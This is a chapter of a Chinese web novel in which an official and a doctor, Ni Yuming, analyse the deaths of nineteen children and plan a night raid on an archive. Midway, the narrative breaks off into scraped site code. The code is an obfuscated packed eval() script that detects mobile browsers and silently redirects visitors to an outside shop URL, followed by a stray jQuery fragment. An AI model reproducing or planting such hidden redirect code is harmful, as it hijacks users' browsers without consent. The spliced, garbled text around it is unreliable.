次日。
向倾承三人在雅间里密谈。
夏一手中勾着把钥匙,得意地看着边上的人朝向倾承说:“大人,东西拿到手了。”
李明无视他的视线,“文案房在正堂右侧,每隔两刻钟便会换岗巡视,在换岗的期间,正堂后院没人看守,最容易钻空子。”
向倾承点了下头。
夏一的视线忍不住落在他的颈侧和胳膊上。
他和李明两个人闯官兵把守的文案房都没出事,凭着大人的身手,怎么去普通百姓家看个尸首,身上就挂了两处彩?
难道有敌袭?
还没等他想明白,门发出轻轻地一声吱呀。
有人进来了。
夏一和李明顿时脸色大变,迅速摸上腰间的剑,两双眼里充满了警惕。
而向倾承倒是坐得自在。
倪逾明一进门便看到这幅场景。
忍不住嘴角抽搐,这样子怎么好像她要把他们主子怎么了似的。
似是询问,“向大人还没来得及和这二位大人说?”
夏一见着她像是见着了鬼一般的神情,眼里止不住的震惊,和李明两人不明所以,纷纷转头看向身后的人。
向倾承手握拳抵在唇边,轻咳了一声,“自己人。”
夏一脑子都转不过来了,来的路上大人还在说倪大夫的小话,怎么一眨眼的功夫就成了自己人?
等等!
自己人?
倪大夫算那种自己人?
大人昨夜似乎很晚才回来,难不成……
夏一的两只眼睛滴溜溜地在两个人身上移动。
李明虽比他稳重些,但内心也是乱糟糟的。
眉心直跳。
难不成外面传的都是真的?大人爱慕倪大夫已久,现在倪大夫恢复自由身,大人终于有空子可以钻了。
他忍不住偷偷看一眼自家大人的表情。
忍不住在心里默默嚼舌根,大人可真能装!
向倾承一眼就知道这两个藏不住事的在想些什么了,言简意赅道:“倪大夫擅医术,我们这次的死案,她能帮的上忙。”
话虽如此,夏一和李明两个人各怀心思。
夏一想到什么,顿时拍了下手,“倪大夫你既然精通医术,快帮我家大人看看伤,这县里的郎中看着就不靠谱。”
倪逾明顿了一下,装作不知道地问,“伤在何处?”
夏一指了指,“颈侧还有胳膊。”
“是吗?”倪逾明似笑非笑地看着向倾承,“向大人身手这么好,对方究竟是何方神圣才能伤了大人?”
她的嘲讽之意从来都不掩藏,是个人就能听出来。
向倾承扬眉对上她的视线,嘴角勾起一抹不易察觉的笑。
她可真是厉害,把他贬低一顿的同时毫不吝啬地夸了一番自己。
夏一顿时跳了过来,挡在向倾承身前,挡住了她的视线。
听她这话,大人昨夜没和她待在一处?
梗着脖子胡编乱造道:“倪大夫知道什么,大人昨夜可是去调查大案子去了!谁知遇到了歹人!那歹人卑鄙无耻!我们大人可是以一对五!不对!是以一对十!把他们十个打得落花流水!而大人大获全胜,身上也仅仅只受了两处伤!”
“大人的胳膊伤得最重,血流不止!硬是生生忍了下来,一声不吭,若是换做别人,早已疼得大喊大叫了!”
倪逾明险些笑出声来,还以一敌十,向倾承对上她一个就吃了不少苦头。
她微微倾斜了下身子,歪着头,透过夏一,看向他背后的人,眨了下眼睛,好奇道:“是吗?向大人?”
向倾承本就被夏一说得一阵不自在,偏偏又对上倪逾明眼底那嘲弄的笑意,简直无地自容。
轻咳一声,“行了,想写话本子去边上书铺。”
倪逾明杏眼微微弯起,眼底盛着两汪清亮的春水,笑意从眼尾漫开,连睫毛都在微微颤动,意味深长地附和道:“向大人可真厉害呢。”
夏一与有荣焉,背都挺直了,“你知道就好!我们大人平时那是不爱出风头!”
向倾承满头黑线,直勾勾地盯着倪逾明,一字一句道:“倪大夫可笑够了?”
倪逾明心情不错,也乐意帮他看伤,但手上的动作却没有放轻。
检查时按压在伤口上的力道几乎像是要掐进他的肉里。
白色的绑带又微微被染红了。
向倾承的脸色苍白,额头间也布满了细汗,没忍住闷哼一声。
倪逾明正俯身看他颈侧的伤,冷不丁听见他这一声,就像凑在她耳边发出来似的,总觉得怪怪的。
她直起身,又恢复了淡漠的样子,“伤口处理得挺好的,大人记住这些天尽量少沾水便好。”
夏一指着绷带皱眉,“可为什么伤口又出血了?”
倪逾明瞥了一眼,毫不心虚,“正常,这血排出便好了。”
闹完了,才进入正事。
向倾承把他们目前的进度简单地梳理了一遍。
又说:“今夜我们要去文案房,只要这些百姓报过官,官府就必须派仵作验尸,里面必然会有卷宗,卷宗不易作假,并且调出移动还有层层的调令,小小的一个县令怕是没有那个胆子动,只是时间有限,我们最多只有两刻钟的时间。”
这种官兵巡视森严的地方,倪逾明自然是没法进去的,“你们可曾走访过这些孩子的家?可有问出什么来?”
夏一掏出一沓简纸,每一张分别记录了这十九个孩子的状况,“我都调查过了,并没有问题。”
“拿给我看看。”
他把东西递过去,没忍住撇撇嘴,他可是大理寺的人,而她只是一个医馆大夫,竟怀疑他的能力?
真是好大的威风!
他就不信她能看出个什么花来。
倪逾明把简纸一一铺在桌上。
站着看了好一会。
秀气的眉毛紧蹙,“有纸笔吗?”
向倾承意外地看了她一眼,微微扬起眉,看来她也发现了。
这简纸那天只是听夏一口头讲了一嘴,并没来得及细看,也就刚刚倪逾明铺开这些简纸,和她一起看了这么一会。
她能这么快发现问题,他是没想到的。
也是,毕竟能沉得住气筹谋四年,没有脑子单有手段可不行。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17838715|211563||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
李明去取纸笔。
夏一见她好像真的发现了什么似的,装作不经意地问:“倪大夫这是发现什么问题了?”
倪逾明抬眸看了他一眼,轻笑一声,反问,“你们不是大理寺的?查案不是最靠谱?不会没有发现问题吧?如今当官都这么容易了?”
一听这话,夏一一张脸顿时涨红起来了,说他可以,但说大人就是不行,连忙解释道:“大人还没来得及看。”
至于他,随便倪大夫怎么编排吧!
倪逾明并不想和他继续说下去,无非又是夸他主子的,反正没一个字是她想听的。
拿到纸笔。
她按照死者的年龄从小到大重新排序。
写完后,她长吁一口气。
拿笔把孩子的死因和年龄圈画了出来。
“一个两个倒还说得过去,可全部都是如此未免太过巧合了吧,巧合多了那便不是巧合了。”
向倾承再次对上她的视线,很显然,他们两个想到一块去了。
“倪大夫有何见解?”
倪逾明讥讽道:“怎么,你大理寺卿的位置要让给我吗?”
李明似懂非懂地盯着纸看,夏一则是一脸茫然,他没看出什么奇怪的地方,忍不住说:“倪大夫,这些被圈出来的部分到底什么意思啊?”
倪逾明点了点年龄那一列,又指向后面跟着的死因,“看出来了吗,以一岁为界,稍大的孩子在被发现前便死了,要么溺死,要么贪玩坠山等等,而稍小的孩子更多的却是找到后养在家中,不久后病死。”
“可这又说明了什么呢?”夏一有了点头绪,但又没完全清楚。
“说明背后的人本意根本不是杀人,而是在孩子身上做了什么,虽不致命但死不死也就是一到三个月间的事,并且他在做这事的时候,所有孩子都是清醒的。”向倾承终于开口了,他停顿了一下,眼尾微挑却无半分暖意。
“至于为什么稍大的孩子被发现时便死了,而稍小的孩子却还能活一段时间,那是因为这些小的孩子。”
“还不会说话。”
夏一忍不住倒吸一口凉气,好半天才缓过来似的说:“这也太残忍了吧。”
李明也皱起了眉,“可他为何要这般对待这些孩子?又在孩子身上做了什么?”
向倾承目前给不出答案,倪逾明也是。
夜里,向倾承便带着他们二人去了文案房。
倪逾明则在客栈缕着思绪等着他们回来。
背后那人嫁祸给蛊族倒是说得通,毕竟在百姓印象里,蛊族就是杀人成魔的恶人,而且蛊族也被灭族了,没有人站出来反驳,倒是好背锅。
但杀了这么多孩子,他又或是他们的作案动机是何?
如果说所有的孩子都如王铁牛一般被放干净了血,那人要这么多血做什么?
如果只有王铁牛被放干净了血,那么那人的阴谋又是什么呢?
倪逾明单手托腮,眉头微锁,目光落在指尖,每一个问题都在心底反复推敲,陷入了久久的沉思。
一直到丑时,向倾承三人带着一身寒气出现了。
夏一和李明的表情也不太好看。